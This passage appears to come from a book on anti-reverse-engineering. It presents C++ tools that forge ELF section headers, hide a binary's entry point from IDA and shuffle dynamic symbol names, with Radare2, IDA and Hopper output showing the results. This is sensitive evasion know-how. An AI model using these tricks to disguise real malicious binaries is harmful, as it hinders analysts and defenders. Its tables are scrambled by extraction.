there. It appears that Radare2 starts disassembling the fake .init section and never
stops!
Radare2 disassembling the fake .init section
;
,=<
,=<
,=<
,=<
|
|
|
|
|

[10] va=0x00400000 pa=0x00000000 sz=64 vsz=64 rwx=m-rw- ehdr

;-- section..init:
;-- section.LOAD0:
;-- section.ehdr:
0x00400000
jg 0x400047
0x00400002
add r8b, byte [rcx]
0x00400006
add dword [rax], eax
;-- section..data:
0x00400008 ~
add byte [rax], al
0x0040000a
add byte [rax], al

When Radare2 tries to disassemble the entry point it finds that it has already been
marked as code which stops any further analysis.
Unfortunately, this trick doesnt work on IDA. While IDA also disassembles the fake
.init section it stops the disassembly where .init stops.

104

Chapter 3: File Format Hacks

IDA disassembling the fake .init section

.init:0000000000400000
.init:0000000000400000 _init_proc
.init:0000000000400000
.init:0000000000400002
.init:0000000000400002
.init:0000000000400006
.init:0000000000400006 _init_proc
.init:0000000000400006
.init:0000000000400006 _init
.init:0000000000400006

public _init_proc
proc near
jg
short near ptr unk_400047
db
4Ch
add
r8b, [rcx]
add
[rax], eax
endp
ends

However, its useful to know that IDA will diassemble the fake .init section. Maybe
we can stop the disassembly of the entry point using .init. Lets update the add_data_section() function in fakeHeadersXBit.cpp so that the .init section contains the
entry point address.
Updated add_data_section()
bool add_data_section(std::string& p_data, std::string& p_strings)
{
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[0] + ehdr->e_phoff);
for (int i = 0; i < ehdr->e_phnum; i++, phdr++)
{
if (phdr->p_type == PT_LOAD)
{
if ((phdr->p_flags & PF_X) == PF_X)
{
std::size_t entry_physical = (ehdr->e_entry + 1) - phdr->p_vaddr;
Elf64_Shdr init_header = {};
init_header.sh_name = p_strings.size();
init_header.sh_type = SHT_PROGBITS;
init_header.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
init_header.sh_addr = phdr->p_vaddr;
init_header.sh_offset = phdr->p_offset;
init_header.sh_size = entry_physical;
init_header.sh_link = 0;

Chapter 3: File Format Hacks

105

init_header.sh_info = 0;
init_header.sh_addralign = 4;
init_header.sh_entsize = 0;
p_strings.append(".init");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&init_header),
sizeof(init_header));
Elf64_Shdr data_header = {};
data_header.sh_name = p_strings.size();
data_header.sh_type = SHT_PROGBITS;
data_header.sh_flags = SHF_ALLOC | SHF_WRITE;
data_header.sh_addr = phdr->p_vaddr + entry_physical + 1;
data_header.sh_offset = phdr->p_offset + entry_physical + 1;
data_header.sh_size = phdr->p_filesz - (entry_physical + 1) - 8;
data_header.sh_link = 0;
data_header.sh_info = 0;
data_header.sh_addralign = 4;
data_header.sh_entsize = 0;
p_strings.append(".data");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&data_header),
sizeof(data_header));
Elf64_Shdr fini_header = {};
fini_header.sh_name = p_strings.size();
fini_header.sh_type = SHT_PROGBITS;
fini_header.sh_flags = SHF_ALLOC | SHF_WRITE;
fini_header.sh_addr = phdr->p_vaddr + phdr->p_filesz - 8;
fini_header.sh_offset = phdr->p_offset + phdr->p_filesz - 8;
fini_header.sh_size = 8;
fini_header.sh_link = 0;
fini_header.sh_info = 0;
fini_header.sh_addralign = 4;
fini_header.sh_entsize = 0;
p_strings.append(".fini");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&fini_header),
sizeof(fini_header));
return true;
}
}
}

Chapter 3: File Format Hacks

106

return false;
}

Recompile Trouble and fakeHeadersXBit again. Remove Troubles section headers table with stripBinary and apply the fake section headers table with fakeHeadersXBit.
If you look at the section headers table in Trouble youll see that the .init section has
become much larger.
Troubles fake sections
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -S ./t\
rouble
There are 6 section headers, starting at offset 0x2558:
Section Headers:
[Nr] Name
Type
Address
Offset
Size
EntSize
Flags Link Info Align
[ 0]
NULL
0000000000000000 00000000
0000000000000000 0000000000000000
0
0
0
[ 1] .init
PROGBITS
0000000000400000 00000000
00000000000002f3 0000000000000000 AX
0
0
4
[ 2] .data
PROGBITS
00000000004002f4 000002f4
0000000000001920 0000000000000000 WA
0
0
4
[ 3] .fini
PROGBITS
0000000000401c14 00001c14
0000000000000008 0000000000000000 WA
0
0
4
[ 4] .text
PROGBITS
0000000000601fe8 00001fe8
0000000000000178 0000000000000000 AX
0
0
4
[ 5] .shstrtab
STRTAB
0000000000000000 000026d8
0000000000000023 0000000000000000
0
0
4
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

Load the new version of Trouble into IDA. The first sign of failure is the navigation
bar. It looks like nothing gets disassembled!

IDA navigation bar for Trouble with fake sections headers table and an obfuscated entry

Now check out where you used overlapped the entry point and .init.

107

Chapter 3: File Format Hacks

Hiding the entry point from IDA by overlapping the entry and .init
.init:00000000004002F0
.init:00000000004002F2
.init:00000000004002F2
.init:00000000004002F2
.init:00000000004002F2
.data:00000000004002F4
.data:00000000004002F4
.data:00000000004002F4
.data:00000000004002F4
.data:00000000004002F4
.data:00000000004002F4
.data:00000000004002F4
.data:00000000004002F4
.data:00000000004002F5

start
_init

db 2 dup(0)
public start
db 48h
ends

; ==================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data
segment dword public 'DATA' use64
assume cs:_data
;org 4002F4h
db 0EDh ; f
db 49h ; I

Because IDA stops the disassembly at the boundary of .init, it is unable to disassemble
any of the entry point. Without the entry point getting diassembled, IDA fails to
diassemble anything else due to the fact that you also messed with the executable
flag.

Hiding the Entry Point

In the previous section, you stopped IDA from disassembing the entry point by
messing with the size attribute in the section header. In this section, youll learn
another a little lie that will hide the entry point entirely.
Consider the fields of the section header struct in C.

Chapter 3: File Format Hacks

108

64-bit ELF section header struct

struct Elf64_Shdr
{
uint32_t sh_name;
uint32_t sh_type;
uint64_t sh_flags;
Elf64_Addr sh_addr;
Elf64_Off sh_offset;
uint64_t sh_size;
uint32_t sh_link;
uint32_t sh_info;
uint64_t sh_addralign;
uint64_t sh_entsize;
};

The three fields this technique is concerned with are sh_addr (the virtual address),
sh_offset (the physical offset), and sh_size. Its also important to note that the entry
point address in the ELF header is the virtual address.
Now, lets say you have a virtual address and you want to look up the actual location
in the binary. You look at the section headers table and find which section the virtual
address would fall within by calculating the range of sh_addr and sh_addr + sh_size.
Once youve found the section, youll want to calculate the physical offset of your
virtual address by subtracting the sh_addr and then adding the sh_offset. You should
now know the exact offset into the binary where you can find your virtual address.
However, what if we put in a bogus value for sh_addr? How does that break the
calculation? Lets say we have the following values:
virtual_address = 0x4002f0
sh_addr = 0x400000
sh_size = 0x000800
sh_offset = 0

Normally, youd be able to find 0x4002f0 at 0x2f0 bytes into the file ((0x4002f0 0x400000) + 0). However, if you introduce a little lie and say sh_addr = 0x400010
then the calculation changes. Now the math comes out that 0x4002f0 is 0x2e0 bytes
into the file.

Chapter 3: File Format Hacks

109

This is a technique you can use to hide the entry point. If you add a fake section
headers table and alter the base address of the section that contains the entry point
then any disassembler relying exclusively on the sections headers table wont be able
to properly find the entry point in the file.
I wrote some code that will do this so you can examine it further. The project is
called fakeHeadersHideEntry and can be found in the chapter three directory. There
are two files: CMakeLists.txt and fakeHeadersHideEntry.cpp.
chap_3_format_hacks/fakeHeadersHideEntry/CMakeLists.txt
project(fakeHeadersHideEntry CXX)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow")
add_executable(${PROJECT_NAME} src/fakeHeadersHideEntry.cpp)

chap_3_format_hacks/fakeHeadersHideEntry/src/fakeHeadersHideEntry.cpp
#include
#include
#include
#include
#include
#include
#include

/**
* This tool will cause disassemblers that rely on the sections table for
* virtual address mapping to fail to correctly find the entry point. This
* tool expects the provided binary to have no sections table. It will add
* its own fake table with four sections:
*
* - null header
* - .text: the section the code is in. This will have an altered sh_addr.
* - .data: the r/w data section
* - .shstrtab: the strings table.
*
* This code makes the assumption that the binary has two PF_LOAD segments in
* the program table. One segment with PF_X set and one with PF_W set.
*/

Chapter 3: File Format Hacks

110

/*
* Edits the ELF header to indicate that there are 4 section headers and that
* the string table is the last one.
*
* \param[in,out] p_data the ELF binary
* \return true if its possible to add a section table. false otherwise
*/
bool edit_elf_header(std::string& p_data)
{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' ||
p_data[3] != 'F')
{
return false;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
if (ehdr->e_shoff != 0)
{
std::cerr << "The binary already has a section table." << std::endl;
return false;
}
if (ehdr->e_shentsize != sizeof(Elf64_Shdr))
{
std::cerr << "Unexpected section header size" << std::endl;
return false;
}
ehdr->e_shoff = p_data.size();
ehdr->e_shnum = 4;
ehdr->e_shstrndx = 3;
return true;
}
/*
*
*
*
*
*
*

Finds the PF_X LOAD segment and creates a corresponding section header. The
base address is modified to throw off any disassembler that relies on the
section header only.
\param[in,out] p_data the ELF binary
\param[in,out] p_strings the section table string names

Chapter 3: File Format Hacks

111

* \return true if no error was encountered

*/
bool add_data_section(std::string& p_data, std::string& p_strings)
{
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[0] + ehdr->e_phoff);
for (int i = 0; i < ehdr->e_phnum; i++, phdr++)
{
if (phdr->p_type == PT_LOAD)
{
if ((phdr->p_flags & PF_X) == PF_X)
{
Elf64_Shdr data_header = {};
data_header.sh_name = p_strings.size();
data_header.sh_type = SHT_PROGBITS;
data_header.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
// "randomly" create a different offset each run
srand((unsigned)time(0));
int base = rand() % 250;
data_header.sh_addr = phdr->p_vaddr + base;
data_header.sh_offset = phdr->p_offset;
data_header.sh_size = phdr->p_filesz - base;
data_header.sh_link = 0;
data_header.sh_info = 0;
data_header.sh_addralign = 4;
data_header.sh_entsize = 0;
p_strings.append(".text");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&data_header),
sizeof(data_header));
return true;
}
}
}
return false;
}
/*
* This finds the PF_W segment and creates a matching section header named .data
*
* \param[in,out] p_data the ELF binary
* \param[in,out] p_strings the section table string names

Chapter 3: File Format Hacks

112

* \return true if no error was encountered

*/
bool add_text_section(std::string& p_data, std::string& p_strings)
{
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[0] + ehdr->e_phoff);
for (int i = 0; i < ehdr->e_phnum; i++, phdr++)
{
if (phdr->p_type == PT_LOAD)
{
if ((phdr->p_flags & PF_X) == 0)
{
Elf64_Shdr text_header = {};
text_header.sh_name = p_strings.size();
text_header.sh_type = SHT_PROGBITS;
text_header.sh_flags = SHF_ALLOC | SHF_WRITE;
text_header.sh_addr = phdr->p_vaddr;
text_header.sh_offset = phdr->p_offset;
text_header.sh_size = phdr->p_filesz;
text_header.sh_link = 0;
text_header.sh_info = 0;
text_header.sh_addralign = 4;
text_header.sh_entsize = 0;
p_strings.append(".data");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&text_header),
sizeof(text_header));
return true;
}
}
}
return false;
}
/**
* Creates a fake sections table and appends the strings to the end of the file.
*
* \param[in,out] p_data the ELF binary
* \return true on success and false otherwise
*/
bool append_sections(std::string& p_data)
{

Chapter 3: File Format Hacks

113

// this will contain the section name strings

std::string strings;
strings.push_back('\x00');
// first section is empty
Elf64_Shdr null_header = {};
p_data.append(reinterpret_cast<char*>(&null_header), sizeof(null_header));
if (!add_data_section(p_data, strings))
{
std::cerr << "Failed to find the executable LOAD segment" << std::endl;
return false;
}
if (!add_text_section(p_data, strings))
{
std::cerr << "Failed to find the writable LOAD segment" << std::endl;
return false;
}
// .shstrtab
Elf64_Shdr strtab = {};
strtab.sh_name = strings.size();
strtab.sh_type = SHT_STRTAB;
strtab.sh_flags = 0;
strtab.sh_addr = 0;
strtab.sh_offset = p_data.size() + sizeof(Elf64_Shdr);
strtab.sh_size = 0;
strtab.sh_link = 0;
strtab.sh_info = 0;
strtab.sh_addralign = 4;
strtab.sh_entsize = 0;
strings.append(".shstrtab");
strings.push_back('\x00');
strtab.sh_size = strings.size();
p_data.append(reinterpret_cast<char*>(&strtab), sizeof(strtab));
p_data.append(strings);
return true;
}
int main(int p_argc, char** p_argv)
{

Chapter 3: File Format Hacks

114

if (p_argc != 2)
{
std::cerr << "Usage: ./fakeHeadersHideEntry <file path>" << std::endl;
return EXIT_FAILURE;
}
std::ifstream inputFile(p_argv[1], std::ifstream::in | std::ifstream::binary);
if (!inputFile.is_open() || !inputFile.good())
{
std::cerr << "Failed to ropen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
std::string input((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_it\
erator<char>());
inputFile.close();
if (!edit_elf_header(input))
{
return EXIT_FAILURE;
}
if (!append_sections(input))
{
return EXIT_FAILURE;
}
std::ofstream outputFile(p_argv[1], std::ofstream::out | std::ofstream::binary);
if (!outputFile.is_open() || !outputFile.good())
{
std::cerr << "Failed to wopen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
outputFile.write(input.data(), input.length());
outputFile.close();
return EXIT_SUCCESS;
}

As before, use CMake to compile the project.

Chapter 3: File Format Hacks

115

Compiling fakeHeadersHideEntry
albino-lobster@ubuntu:~/antire_book$ cd chap_3_format_hacks/fakeHeadersHideEntry/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersHideEntry$ mkdir b\
uild
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersHideEntry$ cd buil\
d/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersHideEntry/build$ c\
make ..
-- The CXX compiler identification is GNU 5.4.0
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_3_format_h\
acks/fakeHeadersHideEntry/build
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersHideEntry/build$ m\
ake
Scanning dependencies of target fakeHeadersHideEntry
[ 50%] Building CXX object CMakeFiles/fakeHeadersHideEntry.dir/src/fakeHeadersHideEnt\
ry.cpp.o
[100%] Linking CXX executable fakeHeadersHideEntry
[100%] Built target fakeHeadersHideEntry
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersHideEntry/build$

Recompile Trouble and remove the section headers table using stripBinary. Next use
fakeHeadersHideEntry to append the fake section headers table.
Using fakeHeadersHideEntry on Trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersHideEntry/build$ .\
/fakeHeadersHideEntry ~/antire_book/chap_3_format_hacks/trouble/build/trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersHideEntry/build$

The output isnt exciting but the result is interesting. First lets look at Trouble in
Radare2.

Chapter 3: File Format Hacks

116

Examining Trouble with fakeHeadersHideEntry in Radare2

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ radare2 ./trou\
ble
Warning: Cannot initialize dynamic strings
-- You can 'copy/paste' bytes using the cursor in visual mode 'c' and using the 'y' \
and 'Y' keys
[0x004002f2]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x004002f2]> pdf
/ (fcn) entry0 42
|
entry0 ();
|
0x004002f2
4831ed
xor rbp, rbp
|
0x004002f5
4989d1
mov r9, rdx
|
0x004002f8
5e
pop rsi
|
0x004002f9
4889e2
mov rdx, rsp
|
0x004002fc
4883e4f0
and rsp, 0xfffffffffffffff0
|
0x00400300
49c7c09f1340. mov r8, fcn.0040139f ; "PX." @ 0x40139f
|
0x00400307
48c7c1200140. mov rcx, fcn.00400120 ; "PX." @ 0x400120
|
0x0040030e
48c7c7300140. mov rdi, 0x400130
\
0x00400315
e84c020000
call fcn.00400566
|
|
; JMP XREF from 0x0040031a (entry0)
|
`-> 0x0040031a
ebfe
jmp 0x40031a
[0x004002f2]> iS
[Sections]
idx=00 vaddr=0x00000000 paddr=0x00000000 sz=0 vsz=0 perm=----- name=
idx=01 vaddr=0x00400015 paddr=0x00000000 sz=7175 vsz=7175 perm=--r-x name=.text
idx=02 vaddr=0x00601fe8 paddr=0x00001fe8 sz=376 vsz=376 perm=--rw- name=.data
idx=03 vaddr=0x00000000 paddr=0x00002658 sz=23 vsz=23 perm=----- name=.shstrtab
idx=04 vaddr=0x00400000 paddr=0x00000000 sz=7196 vsz=7196 perm=m-r-x name=LOAD0
idx=05 vaddr=0x00601fe8 paddr=0x00001fe8 sz=376 vsz=1208 perm=m-rw- name=LOAD1
idx=06 vaddr=0x00000000 paddr=0x00000000 sz=0 vsz=0 perm=m-rw- name=GNU_STACK
idx=07 vaddr=0x00601fe8 paddr=0x00001fe8 sz=24 vsz=24 perm=m-r-- name=GNU_RELRO
idx=08 vaddr=0x00400000 paddr=0x00000000 sz=64 vsz=64 perm=m-rw- name=ehdr
9 sections
[0x004002f2]>

117

Chapter 3: File Format Hacks

This obfuscation technique has no affect on Radare2. This further confirms that
Radare2 prefers the information in the program headers even when the section
headers are present. Lets contrast that against IDA. Here is IDAs disassembly of
the entry point.
Examining Trouble with fakeHeadersHideEntry in IDA
.text:00000000004002F2
.text:00000000004002F2
.text:00000000004002F2
.text:00000000004002F2
.text:00000000004002F2
.text:00000000004002F2
.text:00000000004002F2
.text:00000000004002F2
.text:00000000004002F8
.text:00000000004002FD
.text:0000000000400302
.text:0000000000400302
.text:0000000000400302
.text:0000000000400302
.text:0000000000400307
.text:0000000000400307
.text:000000000040030A
.text:000000000040030D
.text:000000000040030E
.text:0000000000400311
.text:0000000000400315
.text:000000000040031C
.text:0000000000400323
.text:000000000040032A
.text:000000000040032F
.text:000000000040032F
.text:000000000040032F
.text:000000000040032F
.text:000000000040032F

start

public start
proc near

arg_40

= qword ptr

48h

; FUNCTION CHUNK AT .text:000000000040021E SIZE 0000001D BYTES

add
[rbp+1], bh
call
sub_400990
jmp
loc_40021E
; ----------------------------------------------------loc_400302:

; CODE XREF: start-C4 j

call
sub_40061B
; ----------------------------------------------------xor
rbp, rbp
mov
r9, rdx
pop
rsi
mov
rdx, rsp
and
rsp, 0FFFFFFFFFFFFFFF0h
mov
r8, (offset loc_40139B+4)
mov
rcx, 400120h
mov
rdi, offset byte_400130
call
sub_40057B
; ----------------------------------------------------loc_40032F:
start

; CODE XREF: start:loc_40032F j

jmp
short loc_40032F
endp ; sp-analysis failed

Compare this disassembly to the Radare2 disassembly. The IDA disassembly is

clearly incorrect. This makes it clear that IDA prefers the sections headers table over
the program headers.
Finally, lets look at how Hopper handles this obfuscation technique.

118

Chapter 3: File Format Hacks

Examining Trouble with fakeHeadersHideEntry in Hopper

00000000004002f2
00000000004002f5
00000000004002f8
00000000004002f9
00000000004002fc
0000000000400300
0000000000400307
000000000040030e
0000000000400315
000000000040031a
; endp

EntryPoint:
xor
mov
pop
mov
and
mov
mov
mov
call
jmp

rbp, rbp
r9, rdx
rsi
; argument #2 for method sub_400566
rdx, rsp
; argument #3 for method sub_400566
rsp, 0xfffffffffffffff0
r8, 0x40139f
rcx, 0x400120
rdi, 0x400130
; argument #1 for method sub_400566
sub_400566
0x40031a
; XREF=EntryPoint+40

You can see that Hopper, like Radare2, also disassembles the entry point correctly. It
appears that this trick is only useful against IDA, but it is still a useful tool to keep
in our toolbox.

Mixing the Symbols

This chapter has, so far, emphasized file format hacks using the statically compiled
Trouble. However, this section will discuss an anti reverse engineering technique that
requires the dynamic symbol table to be present. Therefore, youll have to revert back
to using the chapter one version of Trouble for this section.
I first saw this trick in a blog written by Andre Pawlowski. In this technique, youll
append a fake dynamic symbol table to the end of the binary. Then youll repoint
the offset in the .dynmsym section header to point to the fake symbol table. Finally,
youll mix all of the symbol name pointers for the FUNC symbols. This will cause
the disassemblers that rely on the sections table, instead of the program headers, to
display incorrect function names in the disassembly.
I wrote a tool to mix the dynamic symbols. You can find it in the chapter three directory under mixDynamicSymbols. There are two files in the project: CMakeLists.txt
and mixDynamicSymbols.cpp.
https://h4des.org/blog/index.php?/archives/346-ELF-obfuscation-let-analysis-tools-show-wrong-external-symbolcalls.html

Chapter 3: File Format Hacks

119

chap_3_format_hacks/mixDynamicSymbols/CMakeLists.txt
project(mixDynamicSymbols CXX)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow")
add_executable(${PROJECT_NAME} src/mixDynamicSymbols.cpp)

chap_3_format_hacks/mixDynamicSymbols/src/mixDynamicSymbols.cpp
#include
#include
#include
#include
#include
#include
#include

/*
* This tool takes in an ELF binary that has a sections table and uses dynamic
* linkage and attachs a fake dynamic symbol table at the end of the binary.
* Then the symbol names in the fake symbol table are mixed. This will cause
* disassemblers that place too much trust in the sections table, like IDA,
* to display the wrong symbol name in the disassembly.
*/
/*
* Finds the SHT_DYNSYM in the sections table, points the offset to the end
* of the binary, and copies the existing dynsym to the end of the file. Then
* loops over the symbols in the new dynsym and changes all the name offsets
* around
*
* \param[in,out] p_data the ELF binary we are modifying
* \return truee if we didn't encounter and error and false otherwise
*/
bool append_dynsym(std::string& p_data)
{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' ||
p_data[3] != 'F')
{
std::cerr << "Bad magic." << std::endl;

Chapter 3: File Format Hacks

120

return false;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
if (ehdr->e_shoff == 0)
{
std::cerr << "The binary has no sections table" << std::endl;
return false;
}
if (ehdr->e_shentsize != sizeof(Elf64_Shdr))
{
std::cerr << "Unexpected section header size" << std::endl;
return false;
}
// loop over the sections until we hit .dynsym
Elf64_Shdr* shdr = reinterpret_cast<Elf64_Shdr*>(&p_data[0] + ehdr->e_shoff);
for (int i = 0; i < ehdr->e_shnum; i++, shdr++)
{
if (shdr->sh_type == SHT_DYNSYM)
{
std::size_t offset = shdr->sh_offset;
// repoint the offset to the end of the file
shdr->sh_offset = p_data.size();
// copy the dymsym to the end of the file
p_data.append(p_data.data() + offset, shdr->sh_size);
// collects all the string offsets
std::vector<int> name_offsets;
std::vector<Elf64_Sym*> symbols;
Elf64_Sym* symbol = reinterpret_cast<Elf64_Sym*>(&p_data[0] + shdr->sh_of\
fset);
for ( ; reinterpret_cast<char*>(symbol) < p_data.data() +
p_data.size(); ++symbol)
{
if (ELF64_ST_TYPE(symbol->st_info) == STT_FUNC &&
ELF64_ST_BIND(symbol->st_info) == STB_GLOBAL &&
symbol->st_value == 0)
{
name_offsets.push_back(symbol->st_name);

Chapter 3: File Format Hacks

121

symbols.push_back(symbol);
}
}
// mix the symbols
srand(time(NULL));
for (std::vector<Elf64_Sym*>::iterator it = symbols.begin();
it != symbols.end(); ++it)
{
int index = rand() % name_offsets.size();
(*it)->st_name = name_offsets[index];
name_offsets.erase(name_offsets.begin() + index);
}
return true;
}
}
std::cerr << "Never found the dynamic symbol table" << std::endl;
return false;
}
int main(int p_argc, char** p_argv)
{
if (p_argc != 2)
{
std::cerr << "Usage: ./mixDynamicSymbols <file path>" << std::endl;
return EXIT_FAILURE;
}
std::ifstream inputFile(p_argv[1], std::ifstream::in | std::ifstream::binary);
if (!inputFile.is_open() || !inputFile.good())
{
std::cerr << "Failed to ropen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
std::string input((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_it\
erator<char>());
inputFile.close();
if (!append_dynsym(input))
{

Chapter 3: File Format Hacks

122

return EXIT_FAILURE;
}
std::ofstream outputFile(p_argv[1], std::ofstream::out | std::ofstream::binary);
if (!outputFile.is_open() || !outputFile.good())
{
std::cerr << "Failed to wopen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
outputFile.write(input.data(), input.length());
outputFile.close();
return EXIT_SUCCESS;
}

As usual, you should compile with CMake.

Compiling mixDynamicSymbols
albino-lobster@ubuntu:~/antire_book$ cd chap_3_format_hacks/mixDynamicSymbols/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/mixDynamicSymbols$ mkdir build
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/mixDynamicSymbols$ cd build/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/mixDynamicSymbols/build$ cmak\
e ..
-- The CXX compiler identification is GNU 5.4.0
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_3_format_h\
acks/mixDynamicSymbols/build
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/mixDynamicSymbols/build$ make
Scanning dependencies of target mixDynamicSymbols
[ 50%] Building CXX object CMakeFiles/mixDynamicSymbols.dir/src/mixDynamicSymbols.cpp\
.o
[100%] Linking CXX executable mixDynamicSymbols
[100%] Built target mixDynamicSymbols
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/mixDynamicSymbols/build$

123

Chapter 3: File Format Hacks

mixDynamicSymbols must be used on a binary that has dynamic symbols. For

this reason, go back to using the chapter one version of Trouble. Before using
mixDynamicSymbols on Trouble, lets take a quick look at the .dynsym section header
(the output is truncated to focus on .dynsym).
Troubles .dysym section header
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ readelf -S ./t\
rouble
There are 36 section headers, starting at offset 0x3c40:
Section Headers:
[Nr] Name
Size
[ 5] .dynsym
0000000000000348

Type
Address
Offset
EntSize
Flags Link Info Align
DYNSYM
0000000000400300 00000300
0000000000000018
A
6
1
8

Importantly, note that the offset is 0x300. Also, its worthwhile to look at the dynamic
symbol table to see how thats going to change.
Troubles .dynsym before mixing the symbols
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ readelf --dyn-\
sym ./trouble
Symbol table '.dynsym' contains 35 entries:
Num:
Value
Size Type
Bind
0: 0000000000000000
0 NOTYPE LOCAL
1: 0000000000000000
0 NOTYPE WEAK
2: 0000000000000000
0 FUNC
GLOBAL
3: 0000000000000000
0 FUNC
GLOBAL
4: 0000000000000000
0 FUNC
GLOBAL
5: 0000000000000000
0 FUNC
GLOBAL
6: 0000000000000000
0 FUNC
GLOBAL
7: 0000000000000000
0 FUNC
GLOBAL
8: 0000000000000000
0 FUNC
GLOBAL
9: 0000000000000000
0 FUNC
GLOBAL
10: 0000000000000000
0 FUNC
GLOBAL
11: 0000000000000000
0 NOTYPE WEAK
12: 0000000000000000
0 FUNC
GLOBAL
13: 0000000000000000
0 FUNC
GLOBAL

Vis
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

Ndx
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND

Name
_ITM_deregisterTMCloneTab
accept@GLIBC_2.4 (2)
memcmp@GLIBC_2.2.5 (3)
perror@GLIBC_2.2.5 (3)
htonl@GLIBC_2.2.5 (3)
close@GLIBC_2.2.5 (3)
fork@GLIBC_2.2.5 (3)
bind@GLIBC_2.2.5 (3)
read@GLIBC_2.2.5 (3)
fwrite@GLIBC_2.2.5 (3)
__gmon_start__
execve@GLIBC_2.2.5 (3)
htons@GLIBC_2.2.5 (3)

124

Chapter 3: File Format Hacks

14:
15:
16:
17:
18:
19:
2.5 (3)
20:
.5 (3)
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:

0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000

0
0
0
0
0
0

0000000000000000

0 FUNC

00000000006020a8
0000000000602098
00000000006020d0
0000000000400c06
0000000000602098
0000000000400ee0
0000000000400e60
0000000000400b10
00000000006020a8
0000000000400c2f
00000000004009d0
00000000006020c0
0000000000400ed0
0000000000400ed4

0
0
0
41
0
4
101
42
0
558
0
8
2
0

FUNC
NOTYPE
FUNC
FUNC
NOTYPE
FUNC

NOTYPE
NOTYPE
NOTYPE
FUNC
NOTYPE
OBJECT
FUNC
FUNC
NOTYPE
FUNC
FUNC
OBJECT
FUNC
FUNC

GLOBAL
WEAK
GLOBAL
GLOBAL
WEAK
GLOBAL

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

GLOBAL DEFAULT
GLOBAL
GLOBAL
GLOBAL
GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
UND
UND
UND

listen@GLIBC_2.2.5 (3)
_Jv_RegisterClasses
dup2@GLIBC_2.2.5 (3)
